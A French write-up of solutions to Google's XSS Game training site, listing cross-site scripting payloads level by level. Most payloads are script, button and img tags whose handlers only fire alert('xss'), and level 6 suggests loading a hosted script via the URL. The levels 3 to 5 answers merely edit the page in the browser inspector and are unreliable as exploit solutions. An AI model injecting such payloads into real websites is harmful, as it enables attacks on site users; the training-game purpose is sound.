Envie de tester vos connaissances des failles XSS ? Allez faire un tour sur le site XSS-Game de Google

XSS Game: https://xss-game.appspot.com/

[1/6] Level 1: Hello, world of XSS

payload:

<script>alert('xss');</script>

[2/6] Level 2: Persistence is key

Description: Page pour poster des messages.

tests et payload:

#1
<script>alert('xss');</script>
# marche pas

#2 
<sCript>alert('xss');</sCript>
# marche pas

#3
<button></button>
# fonctionne :)

# Payload
<button onclick="alert('XSS')">XSS</button>

[3/6] Level 3: That sinking feeling…

Description: Page pour afficher des images.

Solution: On ouvre l’inspecteur et on modifie le code comme suit:

<img src="/static/level3/cloud3.jpg" onclick="alert('xss')">

[4/6] Level 4: Context matters

Description: Page avec une fonction de timer et une image comme logo.

Solution: Même type de payload que le niveau précédant… Ouvrir l’inspecteur et modifier le code comme suit:

<img src="/static/logos/level4.png" onclick="alert('xss')">

[5/6] Level 5: Breaking protocol

Solution: Même chose que précédemment…

<img src="/static/logos/level5.png" onclick="alert('xss')">

[6/6] Level 6: Follow the rabbit

Solution: Heberger une page contenant un simple script et appeler cette page dans l’url

CC-BY

This work is licensed under a Creative Commons Attribution 4.0 International License.